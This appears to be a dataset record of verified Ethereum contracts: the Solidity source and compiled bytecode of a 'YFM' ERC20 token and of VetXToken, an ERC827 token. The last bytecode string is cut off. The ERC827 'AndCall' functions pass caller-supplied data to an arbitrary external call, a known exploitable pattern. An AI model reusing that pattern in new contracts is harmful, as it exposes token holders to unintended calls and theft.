/* * website: __ __________ ___ __ _ \ \ / / ___| \/ | / _(_) \ V /| |_ | . . | ___ _ __ ___ _ _ | |_ _ _ __ __ _ _ __ ___ ___ \ / | _| | |\/| |/ _ \| '_ \ / _ \ | | | | _| | '_ \ / _` | '_ \ / __/ _ \ | | | | | | | | (_) | | | | __/ |_| |_| | | | | | | (_| | | | | (_| __/ \_/ \_| \_| |_/\___/|_| |_|\___|\__, (_)_| |_|_| |_|\__,_|_| |_|\___\___| __/ | |___/ */ pragma solidity ^0.4.18; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /* * ERC20Interface ██╗ ██╗███████╗███╗ ███╗ ╚██╗ ██╔╝██╔════╝████╗ ████║ ╚████╔╝ █████╗ ██╔████╔██║ ╚██╔╝ ██╔══╝ ██║╚██╔╝██║ ██║ ██║ ██║ ╚═╝ ██║ ╚═╝ ╚═╝ ╚═╝ ╚═╝ */ contract YFM is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { decimals = 18; symbol = "YFM"; name = "yfmoney.finance"; _totalSupply = 90000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce567146102855780633eaaf86b146102b657806370a08231146102e157806379ba5097146103385780638da5cb5b1461034f57806395d89b41146103a6578063a9059cbb14610436578063d4ee1d901461049b578063dc39d06d146104f2578063dd62ed3e14610557578063f2fde38b146105ce575b600080fd5b3480156100ec57600080fd5b506100f5610611565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106af565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea6107a1565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107ec565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610a97565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102cb610aaa565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab0565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d610af9565b005b34801561035b57600080fd5b50610364610c98565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610cbd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103fb5780820151818401526020810190506103e0565b50505050905090810190601f1680156104285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044257600080fd5b50610481600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5b565b604051808215151515815260200191505060405180910390f35b3480156104a757600080fd5b506104b0610ef6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104fe57600080fd5b5061053d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f1c565b604051808215151515815260200191505060405180910390f35b34801561056357600080fd5b506105b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611080565b6040518082815260200191505060405180910390f35b3480156105da57600080fd5b5061060f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611107565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a75780601f1061067c576101008083540402835291602001916106a7565b820191906000526020600020905b81548152906001019060200180831161068a57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b600061084082600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a690919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091282600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a690919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c290919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d535780601f10610d2857610100808354040283529160200191610d53565b820191906000526020600020905b815481529060010190602001808311610d3657829003601f168201915b505050505081565b6000610daf82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a690919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e4482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c290919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7957600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561103d57600080fd5b505af1158015611051573d6000803e3d6000fd5b505050506040513d602081101561106757600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156111b757600080fd5b818303905092915050565b600081830190508281101515156111d857600080fd5b929150505600a165627a7a72305820537bdd2056e376c0d95e63a59b15bd64c03f2ed11d3dc08e0de93ca150230df70029
[ 2 ]
0xf24f035fc051fcb0e257a0d91b1b4708e94e3273
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC827 is ERC20 { function approveAndCall( address _spender, uint256 _value, bytes _data) public payable returns (bool); function transferAndCall( address _to, uint256 _value, bytes _data) public payable returns (bool); function transferFromAndCall( address _from, address _to, uint256 _value, bytes _data ) public payable returns (bool); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC827Token is ERC827, StandardToken { /** * @dev Addition to ERC20 token methods. It allows to * @dev approve the transfer of value and execute a call with the sent data. * * @dev Beware that changing an allowance with this method brings the risk that * @dev someone may use both the old and the new allowance by unfortunate * @dev transaction ordering. One possible solution to mitigate this race condition * @dev is to first reduce the spender's allowance to 0 and set the desired value * @dev afterwards: * @dev https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @param _spender The address that will spend the funds. * @param _value The amount of tokens to be spent. * @param _data ABI-encoded contract call to call `_to` address. * * @return true if the call function was executed successfully */ function approveAndCall(address _spender, uint256 _value, bytes _data) public payable returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); // solium-disable-next-line security/no-call-value require(_spender.call.value(msg.value)(_data)); return true; } /** * @dev Addition to ERC20 token methods. Transfer tokens to a specified * @dev address and execute a call with the sent data on the same transaction * * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered * @param _data ABI-encoded contract call to call `_to` address. * * @return true if the call function was executed successfully */ function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) { require(_to != address(this)); super.transfer(_to, _value); // solium-disable-next-line security/no-call-value require(_to.call.value(msg.value)(_data)); return true; } /** * @dev Addition to ERC20 token methods. Transfer tokens from one address to * @dev another and make a contract call on the same transaction * * @param _from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value The amout of tokens to be transferred * @param _data ABI-encoded contract call to call `_to` address. * * @return true if the call function was executed successfully */ function transferFromAndCall( address _from, address _to, uint256 _value, bytes _data ) public payable returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); // solium-disable-next-line security/no-call-value require(_to.call.value(msg.value)(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * @dev an owner allowed to a spender and execute a call with the sent data. * * @dev approve should be called when allowed[_spender] == 0. To increment * @dev allowed value is better to use this function to avoid 2 calls (and wait until * @dev the first transaction is mined) * @dev From MonolithDAO Token.sol * * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApprovalAndCall(address _spender, uint _addedValue, bytes _data) public payable returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); // solium-disable-next-line security/no-call-value require(_spender.call.value(msg.value)(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * @dev an owner allowed to a spender and execute a call with the sent data. * * @dev approve should be called when allowed[_spender] == 0. To decrement * @dev allowed value is better to use this function to avoid 2 calls (and wait until * @dev the first transaction is mined) * @dev From MonolithDAO Token.sol * * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApprovalAndCall(address _spender, uint _subtractedValue, bytes _data) public payable returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); // solium-disable-next-line security/no-call-value require(_spender.call.value(msg.value)(_data)); return true; } } contract VetXToken is ERC827Token, Pausable { string public name; uint8 public decimals; string public symbol; constructor ( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply_ = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function approveAndCall(address _spender, uint256 _value, bytes _data) public payable whenNotPaused returns (bool) { return super.approveAndCall(_spender, _value, _data); } function transferAndCall(address _to, uint256 _value, bytes _data) public payable whenNotPaused returns (bool) { return super.transferAndCall(_to, _value, _data); } function transferFromAndCall ( address _from, address _to, uint256 _value, bytes _data ) public payable whenNotPaused returns (bool) { return super.transferFromAndCall(_from, _to, _value, _data); } function increaseApprovalAndCall(address _spender, uint _addedValue, bytes _data) public payable whenNotPaused returns (bool) { return super.increaseApprovalAndCall(_spender, _addedValue, _data); } function decreaseApprovalAndCall(address _spender, uint _subtractedValue, bytes _data) public payable whenNotPaused returns (bool) { return super.decreaseApprovalAndCall(_spender, _subtractedValue, _data); } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b257806318160ddd1461021757806323b872dd14610242578063313ce567146102c75780633f4ba83a146102f85780634000aea01461030f5780635c975abb146103ad57806366188463146103dc57806370a08231146104415780638456cb59146104985780638da5cb5b146104af57806390db623f1461050657806395d89b41146105a4578063a9059cbb14610634578063c1d34b8914610699578063cae9ca5114610757578063cb3993be146107f5578063d73dd62314610893578063dd62ed3e146108f8578063f2fde38b1461096f575b600080fd5b34801561012e57600080fd5b506101376109b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017757808201518184015260208101905061015c565b50505050905090810190601f1680156101a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101be57600080fd5b506101fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a50565b604051808215151515815260200191505060405180910390f35b34801561022357600080fd5b5061022c610a80565b6040518082815260200191505060405180910390f35b34801561024e57600080fd5b506102ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a8a565b604051808215151515815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610abc565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030457600080fd5b5061030d610acf565b005b610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610b8f565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103c2610bc1565b604051808215151515815260200191505060405180910390f35b3480156103e857600080fd5b50610427600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b50610482600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c04565b6040518082815260200191505060405180910390f35b3480156104a457600080fd5b506104ad610c4c565b005b3480156104bb57600080fd5b506104c4610d0d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61058a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610d33565b604051808215151515815260200191505060405180910390f35b3480156105b057600080fd5b506105b9610d65565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f95780820151818401526020810190506105de565b50505050905090810190601f1680156106265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561064057600080fd5b5061067f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e03565b604051808215151515815260200191505060405180910390f35b61073d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610e33565b604051808215151515815260200191505060405180910390f35b6107db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610e67565b604051808215151515815260200191505060405180910390f35b610879600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610e99565b604051808215151515815260200191505060405180910390f35b34801561089f57600080fd5b506108de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ecb565b604051808215151515815260200191505060405180910390f35b34801561090457600080fd5b50610959600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610efb565b6040518082815260200191505060405180910390f35b34801561097b57600080fd5b506109b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f82565b005b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a485780601f10610a1d57610100808354040283529160200191610a48565b820191906000526020600020905b815481529060010190602001808311610a2b57829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610a6e57600080fd5b610a7883836110da565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff16151515610aa857600080fd5b610ab38484846111cc565b90509392505050565b600560009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2b57600080fd5b600360149054906101000a900460ff161515610b4657600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360149054906101000a900460ff16151515610bad57600080fd5b610bb8848484611586565b90509392505050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610bf257600080fd5b610bfc838361166c565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ca857600080fd5b600360149054906101000a900460ff16151515610cc457600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360149054906101000a900460ff16151515610d5157600080fd5b610d5c8484846118fd565b90509392505050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dfb5780601f10610dd057610100808354040283529160200191610dfb565b820191906000526020600020905b815481529060010190602001808311610dde57829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610e2157600080fd5b610e2b83836119e3565b905092915050565b6000600360149054906101000a900460ff16151515610e5157600080fd5b610e5d85858585611c02565b9050949350505050565b6000600360149054906101000a900460ff16151515610e8557600080fd5b610e90848484611cea565b90509392505050565b6000600360149054906101000a900460ff16151515610eb757600080fd5b610ec2848484611dd0565b90509392505050565b6000600360149054906101000a900460ff16151515610ee957600080fd5b610ef38383611eb6565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fde57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561101a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561120957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160